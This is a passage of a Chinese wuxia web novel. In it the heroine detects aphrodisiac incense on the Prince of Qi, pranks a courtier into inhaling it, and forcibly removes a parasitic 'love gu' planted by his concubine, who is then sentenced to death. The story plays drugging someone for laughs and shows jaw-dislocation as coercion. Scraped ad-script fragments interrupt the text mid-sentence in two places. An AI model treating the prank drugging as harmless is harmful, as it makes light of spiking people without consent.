我看得越来越投入,越靠越近,忽而闻到一些奇怪的香气,眼睛一边看着书上的最后几行,一边侧头闻了闻,又闻了闻,直到几行字都看完,才收回眼神,看了看齐王,他也看了看我,我无视他一脸的疑问,扒开他的领口,又闻了闻,才直起身来,眼睛转了转,蹙眉思考一番,欲言又止的样子,最后下定决心闭嘴,继续看书。 却抬眼瞥见韩燕熙正一副看好戏的样子盯着我,我们对视,然后都不屑地“切”了一声,剜了对方一眼,别过视线。韩燕熙比我慢了一点,没赚到便宜,又气得不行,大声道:“喂,长安你葫芦里又卖什么药?”他一脸笃定我肯定发现了什么,不得不说他的洞察力很让我佩服,果然是太子身边的人,是有些本事在身上的。见我不理他,又气道:“看你能鼓住几时。” 他们这些男的有个习惯,屎尿屁憋不住了,就说鼓不住了。韩燕熙这厮居然用这个词形容我,我闻言又气上心头,眼睛一转,心中瞬间生出一招毒计。我对着他勾勾手,正经道:“韩燕熙,你过来,我给治治。” “真的?!”韩燕熙一脸喜色,却不禁迟疑。 “真的,治好了,咱俩扯平,以后互不伤害。”我认真地说。 “我就说你刚才肯定放招了,我的身体我了解。”韩燕熙一边嘟囔着一边走过来,到我身前一站,掐着腰居高临下的看着我,道:“治吧。” “你蹲下。”我仰着头看他,软软糯糯地道:“太高了。” “这不正好吗?”他看了看我们的高度差,还专门用手比划了一下。 “怼脸上治啊?”我鼻孔出气,仰头道:“快蹲下,信不信我给你一拳,让你从此六根清净?” 他忙虚虚抬袖掩了掩腰间,听话的蹲下身子,保持一定距离,微微红着脸,平视我道:“这样行了吧,治吧。” “你先帮我一个忙,你闻闻齐王身上,是不是有什么香气。”我说着又将齐王的领口打开了一些,露出白皙的颈子和锁骨,向韩燕熙挑了挑眉,扬扬下巴示意。 齐王名声在外,韩燕熙心里是嫌弃膈应的,就算掩饰的很好,这会儿让他这么靠近齐王,他也是不愿意的,他迟疑道:“香气?香气有什么稀奇的,大家衣服都熏过香,身上也都带有香荷包,我的香料还是特质的呢,你闻闻。”说着就把他的荷包扯下来递到我鼻尖,还把他的衣袖在我鼻子前扇了扇。 我拂开他,抓过他的荷包往他胸前一扔,他顺手接住,我对他说道:“闻个屁,我说的自然不是咱们平时用的普通香料,我刚才让你泼水泼得鼻子呛水了,这会儿什么味道都闻不真切,要不然也不求你!我鼻子不灵了,就是你的过失,你就得帮我这个忙,我是可以求别人的,可是你见多识广嘛,我找不到比你还合适的人,就只能你帮我这个忙嘛,闻闻,闻一下下,就一下下,快点,快点!你闻不闻,不闻我可要生气啦,哎呦闻一下嘛,就一下,就确定一下齐王身上除了一般的熏香,还有没有什么其他特殊的香气,你没闻过的那种,快嘛,快嘛,你快闻一闻,快点……”我拉着他结实的胳膊,又摇又晃,对他恩威并施,又求又迫,有撒娇有斥责,奴役中带着崇拜,娇嗔里夹杂哄骗…… 韩燕熙被一番言论也能如此善变的我,搞的有些晕头转向反应不过来,看了看我,又看了看躺椅上虚弱的齐王,咬了咬牙,俯身下去…… 39. 情蛊 我站起身,拍了拍手上的沙土,居高临下看了看韩燕熙趴在齐王身上细嗅的背影,一脸奸计得逞的坏笑,转身走到刘景哥仨身前的几案旁,随手端起离我最近的逍遥王的茶杯,不理会众人的不解,缓步走回齐王身边。 这会儿韩燕熙的呼吸越来越急促,齐王蹙眉,却也不好推开他,一脸茫然和疑窦,强忍着不适,整个人僵硬的躺在那里,一动不敢动。 忽然韩燕熙像一头发~情的雄狮,低吼一声直起身子,闭着眼仰着头挺着胸,张开双臂,线条流畅的颈子稍稍后仰,脸上的红晕顺着脖子一路到了锁骨继续向下延伸,他急促的呼吸着,起伏着胸膛,忽然睁开情~迷的凤眸转过头来,看着我,眼里布满血丝,全是情~欲,他向我勾起他好看的唇角,邪魅一笑,无比妖娆,一只手向前伸向我,做邀请状…… “靠,敢冲我来!”我唾骂一句。 他生的好看,这会儿染满情欲的样子,简直勾人魂魄。众人一阵倒吸凉气。 我不等韩燕熙低吼着向我扑过来,手中茶水连茶带杯子一起泼他脸上,他被激得一个激灵,呛得咳嗽,立时就清醒过来,眼神恢复清明,喘着粗气,抹了把脸,聪明如他,瞬间回过味儿来,指着我骂道:“长安,你给我下药!” “跟我有什么关系,”我眼睛看了看他的下身,用下巴指了指,别过脸去,道:“就说有没有给你治好吧。” 韩燕熙顺着我眼神和下巴,看了看自己的下身,瞬间坐下身子赶紧拂袖遮挡,整个人都羞愤成了红色,气得都要炸了:“你……” “齐王,这厮有一点说得对,我啊,就是有话就得说的主儿——鼓不住。也该倒是你有这个机缘,不然啊,单靠我师兄苏和给你开的那些药,多则两年,少则半载,你就得去找阎王爷报道了。”我不理韩燕熙,开始琢磨着救齐王的命。 “人多,要是王爷介意,咱们去个隐蔽的地方如何?”这便是我刚才决定暂时不说的顾虑。 “不必,我这病,名声在外,不是什么秘密。”齐王很是坦荡。 “也好,就当给你正名了。”我道:“人都传言说你好色成性,我却不以为然,这一年三百六十五天,你得有三百五十五天病着,算下来一个月也同不了一次房,像有些人,一晚上就能把你一年的都干完了,说你好色成性实在是胡说八道。” 众人闻言,觉得是这么个理。偏韩燕熙揪着我道:“你刚才说有些人的时候看我作甚!” “看你了吗,不小心扫了一眼吧。”我懒得和他争执,可是又不小心扫了一眼他捂着的下身,觉得很是晦气,“哎呀,真是辣眼睛。” “你……”韩燕熙更红了。 我继续道:“王爷不像不懂克制的人,如何身体这般,还不禁~欲?” “我舍不得爱妾独守空闺,身体好了,便……”齐王清了清嗓子。他倒真是坦荡惯了,这话从他嘴里说出来,只觉得他深情款款,不沾染一点儿淫~乱。 我接着齐王的话说道:“便忍不住招幸?想来那种感觉一上来,王爷怕是一点也招架不住,怎么就不思量思量,事出无常?”我眼睛审视四周,尤其站在外围的各家亲王的护卫随侍们,压低声音道:“王爷是着了人家的道儿了,这迷~情~香都给您腌入味……哦,熏入味儿了。光是身上这残留的香气,都够那哥们儿喝一壶了。” 韩燕熙这会儿身上的燥热也消下去了,坐在太子身边,闻言又瞪了我一眼,恼羞的别过头去,对上庄助的视线,又瞪了庄助一眼,接着又对上豆如意不经意投来的目光,便也给了豆如意一眼。人有一个很神奇的能力,就是当别人看你的时候,你会不自觉地转过头来与他对视,所以最后韩燕熙把他能瞪的都瞪了一圈,大家都被瞪的莫名其妙,却也知道这厮将将吃了大亏,心情不好,不可招惹,无端被瞪,也不敢多言,就眼观鼻鼻观心,坐的很是端正。 齐王听了我的话嗅了嗅领口,若有所思,但却一脸难以置信,正要说话反驳。我抬手轻轻一弹,打散了远处齐王随从中一个长相清秀的小厮的发髻。长发滑落,果然是一个我见犹怜的美人。那女子,愣了一下,娇滴滴的叫了一声,慌张地跪在地上,直呼王上救命。今儿这场合,她一个姬妾乔装打扮随王伴驾上不得台面,倒也不是重罪,顶多齐王领个责罚,原本不堪的名声再加一笔罢了。 齐王慌张坐起身,心疼不已,咳嗽两声,高声道:“莫要伤她。”又对着女子柔声道:“快,到我身边来。” 我蹙了蹙眉头,道:“王爷还真是痴情,到哪都带着心爱之人。她身上有和你一样的迷~情~香,这事王爷蒙在鼓里,这女子却十分清楚得很呢。” 女子躲进齐王怀里,慌张地哭诉:“王上,妾身不知,妾身什么都不知,妾身爱慕王上,并无加害之心,请王上明察,还妾身一个清白,王上……” 我蹙眉打断她,“快别说了,收起你的爱慕,你既然不知道,那我就让你知道知道,这迷~情~香是情药中最刚猛的一种,是以透支身体为代价的歹毒之药,正合王爷病情。”我缓缓地道:“你生的这般好看,又有王爷宠爱,原可以爱得高贵一些,男欢女爱,两情相悦,你情我愿,怎好使用这等下作的手段固宠?用药蒙骗讨来的宠爱,难道你心里就不犯猜疑吗?猜疑王爷到底是真的爱你,还是因为你那些见不得人的手段不得不爱你?” 那女子果然神色有异,说不出话来,只能嘤嘤叫着王上。 齐王好生心疼,温柔的都要化了,给那女子擦着眼泪,安抚道:“别哭别哭,你一哭我心都碎了,别听他胡说,我自是真心爱你,别怕啊别怕,不管你怎样,不管你做什么我都爱你。” 那女子有齐王撑腰,胆子大起来,怯怯的样子缩在齐王怀里,眼神却对我充满了挑衅。 我玩味儿一笑,掐着腰,道:“有意思,果然有点意思,既如此……那好啊,你敢不敢把王爷身上的情蛊解了,看看王爷还爱你不爱?”我笑得人畜无害。 那女子果然恼怒,往齐王怀里又缩了缩,怒目瞪我,自别是一番风情,指着我叫骂:“你这小童,胡说八道什么?什么情蛊不情蛊,我根本不知道。” “你若自己动手,权当你悔过自新,我可劝陛下留你一命。”我不卑不亢,抱臂站到大鹅卵石上,居高临下看着她。 “王上,妾身爱慕王上……”那女子紧紧抓住齐王这根救命稻草,对我很是忌惮,却并不把其他人放在眼里,即便天子在场也毫不胆怯。是个江湖人,还是个老江湖,看来是差不多猜到我身份了,但却不想轻易臣服,怕是未曾领教我的手段,又仗着齐王恩宠,并不肯轻易善罢甘休,到底想要争一争,搏一搏。 “我说了,收起你的爱慕。”我打断那女子对齐王的嘤咛,“我现在就是看在你家王爷的面上,网开一面呢,要是等我亲自动手……” “罢了,这病,我不治了。”齐王受不了爱妾这般受人挟制,看着爱妾惊慌的样子,心疼坏了,怒上心头,坚定道:“我的爱妾为人我了解,她心地善良生性纯洁,柔弱尚且不能自理,岂懂你说的那些个乱七八槽的东西,她爱我入骨,侍奉我尽心尽力,疼惜我都不够,又岂能害我,还请长安君不要识人不明,血口喷人,咄咄逼人。”他毕竟王者,就算身体羸弱,身上天然自带的王权霸气也气势十足。 哟,起范儿了,连他爹在场都不顾了。我心道这情蛊果然厉害,能让人意乱情迷,头脑昏聩到这个地步。 然而旁观者清,刘景听了儿子不分黑白的昏庸之言,气不打一处来,嚯的一下站起身来,其他人也纷纷跟着站起身来,一脸怒色,恨不得把这磨人的小妖精当时就给捏死,我看着刘景摇摇头,挥手示意他们坐下继续看戏即可。 齐王越是这个样子,我越是心疼,我看着远处的风景,蓝天白云多美好啊……我的心揪了一下,收回神摇了摇头,叹了口气,道:“不治就不治,王爷果然性情中人,但是有件事我得给王爷解释清楚,情爱乃人生之常,爱慕实为灵魂之合,情欲却乃肉‘体之欢,这迷`情~香药性刚猛异常,床笫之上,交~合之时,欢愉程度是寻常房事数倍,对这女子是爱是欲王爷定要闹个清楚,切莫误判,我再给你点儿时间,不妨静下心来问问自己,到底是深爱此女,还是痴迷肉’欲?” “你说话未免放肆!”齐王怒了。 刘景有些忍不住了,刚要起身训斥齐王:你才放肆。就被一心看戏不想被打扰的庆王和逍遥王捂住嘴巴拉着坐下,继续专心致志的看戏。 被人捂嘴,刘景有些恼,奈何是两个老哥哥,他也只能忍下。 “我一向如此,王爷习惯习惯就好了。”随即又对着那女子道:“你不动手,那我就动手了,到时候看看你家王上的情蛊解了还爱你不爱?” 那女子闻言吓得脸色煞白,死死抓着齐王,躲在齐王怀里不肯出来,齐王紧紧抱着她,尽心安抚,两人俨然一对受人欺负的苦命鸳鸯…… 刘景见此情形,命人将他二人分开。我对着领命上前的皇家禁卫道:“把她随意绑在树上就行,把齐王好好绑在躺椅上,再来俩人按好了。”那女子有些本事在身上,绑不绑的无甚差别,得看她想演到几时。二人声嘶力竭,痴缠拥抱,却最终被拉扯开来,那副难舍难分的情景,叫人看了当真心生不忍不禁自责:实在是我们铁石心肠了,生生坏了一双情侣忠贞无二的情缘。 那女子挣扎不愿被绑在大树上,大叫,“我有身孕,看你们谁敢碰我!” 禁卫军士兵立即有些慌乱,已经被绑好按住的齐王闻言又挣扎起来。不等众人犯难,我厉声道:“你有个屁,这迷~情~香药性异常刚猛,需要大量至纯的麝香掩盖其腥臭之气,你长期接触,早没了生养之力,你还能下出蛋来,祖坟喷火啦?快,把她绑上,嘴给堵上,省得王爷被蛊惑。” 那女子是极其不老实的,被堵上嘴巴之前,还挣扎着嚷嚷爱慕齐王之类的话。 我一脸嫌弃,道:“夺人健康,害人性命,毁人名声,绝人子嗣,这样廉价……这样歹毒的爱慕你自己留着吧,上不得台面的东西,太脏,亏你拿得出手,也不嫌恶心。” 众人都觉得我这骂得不吐脏字,却比什么破口大骂都来的畅快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 那女子觉得甚是屈辱,脸色难看至极,被堵住的嘴巴呜呜不知道在说什么,或者骂什么? “我最后给你一次机会,自己把蛊解了。”我站在女子身前,看着她,见她点头,方才拿下塞在她嘴里的帕子。 那女子呵呵一笑,倒也不装了,“是,我是用了些见不得人的手段,但那也是因为我太过爱慕我家王上了,我没有想要害他,我没有,我只是想得到他,想长长久久的得到他。” “长长久久?他都快被你玩死了,我说了,收起你的爱慕,赶紧把蛊解了。”我耐着性子说完。 “我真心不想害我家王上性命,我也是迫不得已,好吧,我招了吧,我是受……” “快闭嘴吧,”我真是忍不了一点,一把卸了她的下巴,阻止她继续说下去:“废话事真多啊,就让你解个情蛊,谁用你招供了,还没严刑拷打就招出来的供,有什么可信度?老唐巫蛊之案,宫女谋刺案,文字狱大案,哪个不是胡乱攀咬,最后牵连数万人之众。你一个谋害亲王的恶女,妄图说个三言两语,就想挑起轩然大波,动摇国本,那你背后的人,也不是我们依着你随口既来的供词,就轻而易举收拾的了的,索性我们不打听了,至于是谁……嗯,齐王要是少亡了,还没有子嗣承继,代国就要除国,军权就要旁落,谁坐收渔利,我们大家回去坐一起商议商议,猜度猜度,就八九不离十了。倘若你要是南唐摄政王派来的人,那我们就更不能听你胡说八道了,要是被你一番离间,受了蒙骗,皇权内部争斗起来,岂不真要乱我大汉?我泱泱大汉,折了个王爷在你手上,够窝囊了。” 众人闻言觉得甚是,纷纷点头,对这女子更是厌恶至极,咬牙切齿。齐王也清醒了一些,但是依然挣扎着要保护爱妾,我要挟道:“再不安静,也卸了你的下巴。” “可一可二不可三,我偏要再问你一次,这情蛊你解是不解?”说完我将她的下巴按上。 那女子疼的呻~吟一声,娇弱无比的样子,是个男人见了都会心疼。引得齐王连连关心,她闭眼缓了缓,回应齐王说没事,才笑着对我道:“你必然是对蛊有一定了解,知道不得其法强行解蛊,必然蛊死人亡,呵呵,那……这是我的保命符啊,你要是我怎么选,你以为我傻吗?” 我笑了笑,点点头,“嗯,还真就是把你想聪明了,给过你机会了哈,是你自己不珍惜哈,那我自己动手了啊,有些疼,你忍着。”说完我就作势开始解蛊。 “你,你要做什么?”那女子惊慌起来。 “解蛊啊。”我一脸人畜无害。 “强行解蛊,齐王必死无疑。”那女子以此要挟。 “谁说我要强行解蛊啦?”我不解的问。 “你……” 我打断她,坚定道:“我会。” 那女子闻言,瞬间了然,立即吓得面色如土。 说完,我将指尖划破,十指连心,我运功将顺着心脉流出的心头血,聚成一条红丝血线,血线绕着那女子上下浮动。 此时那女子才真正确信我真的会解蛊,眼中全是惊慌,恐惧不已,“你……”她刚一开口,便痛苦不已,扭动着身体,再也说不出一个字来。只疼得撕心裂肺,不顾形象声嘶力竭的尖叫。 “都说了,我会。”我轻蔑的,勾唇一笑。 那女子几乎疼得快要死去,浑身被汗水浸透,仰着头,瞪着眼睛,张着大大的嘴巴,再也没有了刚才的美丽,不多时,似乎有什么东西带着黑气从她嘴里爬出来,我正要定睛细看,离她近的护卫,已经看清她嘴里的东西,吓得惊叫,纷纷退后。 这,便是雌蛊——一只巴掌大,头部长得像一张女人的脸,身体像蜘蛛有好多长长细细的腿,又长着蝽虫一样的翅膀,周身带着幽蓝的光点,朱红的花纹在漆黑的虫体上格外妖艳恐怖,蛊虫在她嘴上停留片刻,便兴奋地震动翅膀,仿佛找到更加心仪的寄生对象,顺着血线,向我袭来。 众人大叫不好,纷纷上前,却见我眼疾手快,一手继续以血为引,一手运用内力飞出十几枚银针,将向我快速飞来的雌蛊,牢牢定在地上不得动弹。 雌蛊力气很大,或者对我的渴望激发了它的潜能,即便被制服,也颇为奋不顾身,誓死不休的架势,奋力挣扎。我用内力牢牢控住银针,又加大了血量供养,它渐渐安静下来……看了雌蛊的反应,我心中大骇,这蛊太过猖狂,用银针压制难免有失,到时候恐怕悔恨终身。以防万一,我控制好力度,趁着雌蛊安享我心头血的空隙,向雌蛊打了一掌,确保雌蛊完损无缺的前提下将雌蛊震成内伤。雌蛊重伤之后,软塌塌的趴在地上,老实不少,我紧了紧束缚它的银针,才放下心来,松了口气…… 再看绑在树上的那女子,疼得像蛇一样扭动身体,面部狰狞,哪里还有半分温柔美人的风情。齐王被绑在躺椅上,只听见得她的叫声,却看不到她的情形,也是她的一种幸运了。 我用血继续供养雌蛊,须臾,忙着关心爱妾的齐王忽然身子一挺,痛苦袭来,他脖子上额角上青筋暴起,他反弓着身子,仰头瞪眼,张大嘴巴…… 40. 虐杀 一只身形特征与雌蛊一样,只是略小一点更精致一点的雄蛊,从齐王嘴巴里爬了出来,生着一张俊美男人的脸,一出来就急不可耐的扇动翅膀,撬动尾巴,腹部震颤,发出嘶嘶的鸣叫,后腿不断摩擦坚~挺而竖起的尾端,迫切的样子,让人作呕,确定雌蛊的方向,立即飞身过去,也不管雌蛊此时重伤,更不惧银针阻挡,只急迫地找到雌蛊的腹尾,与之交~配痴缠。 两只蛊虫难解难分,确定不会分开再度寻找宿主害人,我才立即斩断供养雌蛊的血线,失去供养,雌蛊,在太阳的照射下,立即化成血水。雄蛊被雌蛊的血水腐蚀,也化作一摊血水,众人只觉恶心,再也不愿多看一眼。 我道:“小心不要粘上这些血水,有剧毒,有腐蚀性,粘上一点,随着周身血液,会烂遍全身而死。”我见众人恐慌,又道:“别怕,晾在这里即可,太阳会消除一切罪恶,一会儿就消散殆尽了。” “想不到长安君对蛊也如此了解,竟是行家……”那女子见我做的滴水不漏,痛苦之余还不忘夸我。 “皮毛而已,怎及你深谙此道。”我不屑地道。 齐王疼得撕心裂肺,禁卫也按不住他,他连同躺椅一起在地上翻来覆去,刘景看着儿子吃了这么大的亏,坏了名声,毁了健康,差点丧命,这会儿生不如死,心疼死了,哭喊着:“我的儿啊我的儿……”就要上前抱住齐王。 我见两个禁卫军神色有异,又闻到空气里香气四溢,赶紧拦住要上前看望儿子的刘景,警告他齐王身上有残留的迷~情~香,眼下随着汗液挥发的更甚,让他小心为上。男人们闻言都不敢上前,那两个禁卫军已经有了反应,我挥手两掌将他们打飞到河里醒药。我到齐王身边,用内力翻转躺椅,按住他,运功帮他轻揉胸口。齐王只觉一股清流灌入体内,舒服极了,立时便安静下来。 再看那女子也在运功调息缓解疼痛,只是效果没我这边快,依然流着豆大的汗珠,呻~吟不已。解情蛊,不死也得脱层皮…… “情蛊身上那些长长细细的腿,是连接体内血肉经络的管道,蛊虫通过这些管道吸取人体精血,获得供养而活,也通过这些管道连接脉络神经控制宿主。乍一离开你的身体,肯定会撕裂血肉脉络和神经,会很疼很疼的。”我一边给齐王揉着心口用内力给他修复损坏的肌体,一边用帕子给他擦拭汗水,轻声道:“黄蜂尾后针,最毒妇人心,这淫~妇恶毒的很,你每次身体好一些,她便催动体内的雌蛊,引诱你体内的雄蛊作祟。你每次忍不住发~情,其实不是意志不坚定,也不是爱她入骨克制不住心中爱意,而是这蛊虫在你体内控制你的心神,抓心挠肝对别人只是一种形容,对你却是实打实的感受,蛊虫催动的交~合,也就那么一会儿,满足以后蛊虫便休眠等待下一次被唤醒,是这淫~妇觉得不尽兴,就给你用了最烈性的迷~情~香,初初用得少,等你上瘾了,沉迷肉~欲,她便渐渐加了计量,最后就像现在,你个大傻子都成了行走的大春~药丸子了,单是韩燕熙闻了你一下,就中招。” 看着齐王没有一丝血色的脸,我心疼坏了,眼里含着泪,却忍着不肯流下来,说到最后竟有些哽咽,连忙提起韩燕熙,转移话题。 “你怎么没事?”韩燕熙上前一小步,保持距离,问道。 随着我的内力慢慢在齐王周身经脉运转,随着齐王汗水的挥发,空气中弥漫的香气更甚了,大家都十分警觉地站到上风岗上。 “我是个孩子,我有什么情欲可迷可催的?”我白了一眼韩燕熙,“我师父之前,也吩咐我研究一下催~情~药迷~情~香这些下三滥的东西,当然不是让我去害人,是行走江湖小心为上,我师父担心我吃这种恶心人的亏,自然是有教我如何防备的,这些东西对我不起作用。” “你师父人还怪好来。”韩燕熙道。 “那是自然。”我一脸用你说的样子,不再理他,低头看着齐王温柔道:“王爷你好些了吗?” “好,好些了,只是心里难受的紧……”齐王闭着眼,眼泪不停地流,却坚强地忍住哽咽。 “是情蛊的反噬,这蛊最是动人心控人情,即便是受到蛊惑,所付出的感情也是真真实实存在过的,你难过,就哭出来,哭出来就好了。”我柔声开导他。 齐王终于撕心裂肺的哭起来,刘景伤心落泪,太子庆王一左一右拉着他,逍遥王挡在他身前,刘景双手向前,作势要抱住自己的儿子,却不能,只能伤心欲绝,哭喊道:“我的儿你受苦了我的儿,为父错怪你了,我的儿啊,我的心头肉啊……” 众人动容纷纷劝他保重龙体,庆王和逍遥王也老泪纵横,都是做父亲的人,自然能体会舐犊之情。我见齐王哭得差不多了,轻轻点了一下他的眉心,他便安静的睡去。 刘景下令将那女子就地斩杀,那女子不慌不忙,不理会上前要斩杀她的禁卫军,却只对着我道:“长安君放我一马,算我欠你个人情,日后定还。” 我啧啧舌,“你的人情?不稀罕,还有……求错人了吧?”要杀你将你就地正法的是谁啊,你求我啊?看来她果然是确定我身份了。我不屑的笑了笑,不再理她,只找人来给齐王换身衣服,他衣服全都湿透了。男人们不敢上前,虽然我跟他们说了齐王身上的迷情香已经挥发差不多了,不会有太大反应,但他们依然心有余悸。毕竟韩燕熙刚才那个样子,他们历历在目,我理解他们,并不强人所难,便要自己动手,黄门郭信却已经带着宫人上前伺候了。 那女子果然内力深厚,禁卫军的刀被她内力抵抗,竟然迟迟砍不下来,见禁卫军统领李远将军要亲自动手,那女子也不怕,只向我又温柔求道:“还请长安君过来。” “又想搞什么鬼?行吧。”人之将死,我无奈地摇摇头,便起身过去,刚走近她身边两步远,便觉得一股强劲的吸力,将我的内力往外吸,我勾唇一笑,不屑地挑眉道:“雕虫小技。”随即反手一个推力,将她吸食我的内力形成的气桥震断。 “好纯净的内力,啊,好舒服啊……从来都没尝过这么纯净的内力,好滋养啊……啊……”那女子靠在树上极尽舒爽,竟不自觉的闭眼呻吟,像一条美人蛇扭动身子,浪态十足,睁开媚眼,舌头舔了舔红唇,痴迷地看着我,娇喘道:“长安君,你放我一马,我将这虹吸之法传授给你如何?” 我轻蔑一笑,随即运功展示她所谓的虹吸之法,她立即严肃起来,惊惧不已地运功抵抗,却不敌我,眼睁睁看着我将她的内力吸出,在空中化成一个气团。 气团越来越大,我不禁感叹道:还真是内力深厚啊,才四成功力,气团就这么大了。直接震碎了,废她修为,倒也省事。可转念一想,心中暗自思忖起来:如果就这样将她内力吸干震碎,不仅触犯禁术,还恐伤及无辜。 看了看刘景等人,我手轻轻朝前一送,便又将内力输了回去,对着那转危为安松了口气,以为劫后余生的女子道:“我会,只是从来不用,我不屑用,谁的内力我也不屑。你的内力杂乱浑浊,看样子是吸了不少人的,你在人间这么久,可不止祸害一个齐王啊,如此行径,与妖何异。” 那女子心有余悸,后怕不迭,倚在树上,虚弱地感激道:“你既放我一马,以后鞍前马后,我随你使唤。” “谁要放你一马,我只是不屑杀你,你想活命,你求求你家王爷,或者陛下,别求我,你求不着我。”说完我欲转身抬步离开,不想理她。 “求他们有什么用?都是江湖中人,你不拦我,我今日便是拼死也能脱身,可若想活,到底需你放我一马,江湖才可允我容身,我不求你求谁?”那女子崩溃不已,大声叫道。 “江湖?我不在江湖很久了,江湖上的事儿我早说不上话了,你有能力从禁卫军手上脱身,那你脱身好了,你要是跑了,是禁卫军没本事,不干我的事儿,何必一定要我开口许诺允你藏身江湖?你跑,跑好了,你放心我还得照顾齐王,没功夫拦你。 你一再纠缠我求我,怕不是忘了,方才我给了你三次机会,哪怕有一次你答应了,我都可以向陛下求情放你一条生路,当然,毕竟你祸害了一个亲王,死罪可免,活罪……我也不知道你逃不逃得脱,得看陛下的意思。可你非是不要啊,三次机会呢! 那情蛊多难解啊,蛊主解起来都痛苦不已要了半条命去,我一个外人解蛊,别人不知道,你该清楚的很,凶险程度,说九死一生不为过吧?我给了你三次机会呢,你既然知道我的底细,就该知道我那几乎是……相当于求你了,对吧? 这会儿想起欠我个人情,将来一定鞍前马后的还了,刚才我跟你要,你怎么不给啊?我艺高人胆大,解起蛊来看着简单轻松而已,可你知道那蛊虫我有多害怕吗?那雌蛊多阴险多歹毒啊,我又是世间罕见的纯体金童,一身澄净的内力,这些妖物都把我当成补药,你那雌蛊对我满意极了,冲着我就来,我要是一不小心被那恶心的雌蛊寄生了,我可不像你还能取出来,到时候我一辈子被这东西控制,一辈子都是个淫~娃,我又一辈子长不大,我一辈子生不如死,这辈子就废了,给一个虫子祸害完了,我刚才面临的处境多难啊,你那时候怎么不想着帮帮我呢?举手之劳,保你一条命够了,可你偏不啊。 好,艰难险阻,我一个人过了,既然我全身而退,那这些都不算了,损耗的内力我也不稀罕,但我方才为了引出齐王体内的雄蛊,用的是心头血中最精最纯的那部分血供养雌蛊,这是很伤身体很伤身体的,我感觉我心里的血都要耗干了,比我平时用内力救人还伤身体,我特么喂给一个这么恶心的虫子喝,我身心都很受伤的好吧。这口气我咽不下去! 我刚才求你三次你都不肯,这会儿你求我,我也不想肯,别再烦我了好吗,我真的不想理你,你想跑就跑,能脱身就脱身,想怎样就怎样,你随意吧!”我示意李远将军可以动手了。李远果然不凡,见了方才情形,便有了应对,他运气护体,才拔剑上前行刑,我忽的想起什么,便道:“将军还是另寻一个地方,再将她正法吧。” 李远立即明白我的意图,刘景也点点头,这个女人实在不应该脏了这个地方。 那女人仿佛被提醒了什么,歇斯底里起来,“你刚才一再给我机会,就是不想在此地杀我,不想在这些人面前杀我。”那女子忽然挣脱束缚,向我袭来,我运气将其挡住,她不仅不怕,反而邪魅一笑,一副料定我心思的样子。 李远带着禁卫军们将上位者们团团护住,李大公子韩燕熙李椒上前想要帮我,却不敢轻举妄动。我感激的看了他们一眼,示意他们自己可以应付。 许久没有这么坚韧的“老鼠”了。玩心起了,兴致来了挡也挡不住!我收了内力,想看她到底还有多少花样…… 那女子见我收了手,胆子更大了,走到我面前低声道:“江湖谁不知道你的手段,怎么,害怕被他们看到你真实的样子啊!?啊哈哈哈……”她笑完,笃定我被拿捏,放肆地一把抱住我的双肩,在我耳边耳语道:“没了情蛊,王上未必不爱我,可是他们要是见识了你的真面目,还怎么放心留你在身边儿呢?” 威胁我,逼我动手?这女人是怎么想的?我淡然回答:“对啊,我喜欢这些人,我喜欢这个地方,不想你脏了这里,妨碍我以后故地重游,可是杀你,不需要我动手,你谋害的帝王的儿子,朝廷自然法办你,我说了,你求错人了。方才的话,算我多费口舌,你真是,一个字也没听进去啊。” 我混迹江湖,对江湖有感情,江湖上什么人都有,我对江湖人的包容度很高的,谁没点乱七八糟的事,谁手上不沾血,没犯个罪名在身上,谁好意思在江湖上混,罪名小了,都不好意思坐一桌喝酒。我对你已经够忍了……今日,你若能逃跑,跑就好了,我说了不阻拦你,你难道品不出其中的意思吗? 我现在是朝廷的鹰犬,我怎么可能当着主人的面,明明白白扬言放你一条生路,你犯的是死罪,跑了也要通缉的好吧,江湖我真的离开很久了,就算以前,一盘散沙的江湖,我也不是一言九鼎,说了全算,刚才再三求你,你不帮忙,就是断绝你自己的生路啊,三次的活命机会啊,你不要啊,这会儿又再三纠缠,我废了那么多口舌,话都说到那个份儿上了,你还要怎样? 我念在江湖的份上,仁至义尽啦,姑娘!要不然我这么麻烦干啥,我出手很利索的,你应该听说的。面对这样固执的蠢人,我真的很是头疼!有些人该死,九头牛都拉不回来。 果然她继续作死。 想来是齐王把她宠得无法无天惯了,竟不知天高地厚,她见我反应平平,便更是大胆,竟然放肆起来,绕到我身后一把抱住我,低头闻了闻我颈子上的味道,仿佛在闻什么美味佳肴一般,“还真是舍不得杀你呢,真的好喜欢你的内力呢,比任何一个男人都让我快乐,啊哈哈哈……”那女子大笑着,“那我就让他们看看你真实的样子到底……” 我知她定然狗嘴里吐不出象牙,怎会给她机会把话说完,运气将她震开,转身就朝她打了一掌,她似乎早有防备,飞身躲开,随即一个大招朝着我和众人开启虹吸之法,这虹吸之法已经让她练得炉火纯青,怪不得那么自信,竟然在明知我名号的情况下,还说出舍不得杀我的话。 说时迟那时快,我运功护体,又一掌把齐王连同躺椅推到远处。 韩燕熙首当其冲,没做防备,一下子被吸的差点背过气去,李大公子李椒等凡是拥有内力的人,都被吸住。 李远早有防备,挡在刘景身前,惊讶刘景竟然也被吸住,只是内力单薄,气桥很细很薄不易察觉,趁着众人被牵制目光之际,赶紧运气将刘景被吸出的气柱打断,送回刘景体内,一只手握住刘景的手暗中帮助刘景运功调息,却发现刘景竟然自行运功调息,刘景示意他不动声色,继续防卫。 众人反应过来后,内力强一点的,自行运功抵抗,内力差一点的简直难以逃脱。 我运用五分内力,一掌将那女子的内力之桥全部震断,众人倒地。我说了一句心法,让他们赶紧运功调息。 那女子虽吸了内力,但还没有运用心法调息转化,所以吸食再多,武 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 功也没有精进。或者,我更倾向于,另一种可能,她应该把大部分吸食来的内力,用于永葆青春,延年益寿,平时也用来防身,却并不会什么更加高深的武功和内家心法。她的大招也是她的绝招,把对手内力吸食完了,趁着对手虚弱之际动手,或者脱身。 虹吸之法被我破除,她见势不妙,几次想跑,都被我压制回来。她这才真正怕了,跪在地上祈求。 